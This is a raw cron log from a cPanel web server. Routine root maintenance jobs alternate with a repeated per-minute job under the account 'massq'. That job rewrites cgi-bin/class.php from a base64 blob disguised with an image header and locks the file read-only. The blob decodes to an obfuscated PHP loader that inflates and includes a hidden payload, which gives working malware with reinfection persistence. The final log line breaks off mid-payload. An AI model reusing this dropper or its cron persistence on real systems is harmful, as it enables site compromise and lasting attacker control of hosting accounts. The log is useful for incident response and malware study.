Aug 31 08:25:01 server CROND[20455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:25:01 server CROND[20457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:26:01 server CROND[21421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:26:01 server CROND[21422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:26:01 server CROND[21423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:27:01 server CROND[22074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:27:01 server CROND[22075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:27:01 server CROND[22077]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:27:01 server CROND[22076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:28:02 server CROND[22518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:28:02 server CROND[22519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:28:02 server CROND[22520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:29:01 server CROND[23074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:29:01 server CROND[23075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:29:01 server CROND[23076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:30:01 server CROND[23472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:30:01 server CROND[23474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:30:01 server CROND[23477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:30:01 server CROND[23478]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 08:30:01 server CROND[23482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:30:01 server CROND[23481]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:30:01 server CROND[23485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:30:01 server CROND[23484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:30:01 server CROND[23487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:31:01 server CROND[24332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:31:01 server CROND[24334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:31:01 server CROND[24335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:32:01 server CROND[24805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:32:01 server CROND[24806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:32:01 server CROND[24807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:33:01 server CROND[25198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:33:01 server CROND[25199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:33:01 server CROND[25200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:34:01 server CROND[25577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:34:01 server CROND[25578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:34:01 server CROND[25579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:35:01 server CROND[25976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:35:01 server CROND[25979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:35:01 server CROND[25982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:35:01 server CROND[25983]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:35:01 server CROND[25991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:35:01 server CROND[25994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:35:01 server CROND[25996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:35:01 server CROND[25995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:35:01 server CROND[25993]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 08:36:01 server CROND[26819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:36:01 server CROND[26820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:36:01 server CROND[26821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:37:02 server CROND[27297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:37:02 server CROND[27298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:37:02 server CROND[27299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k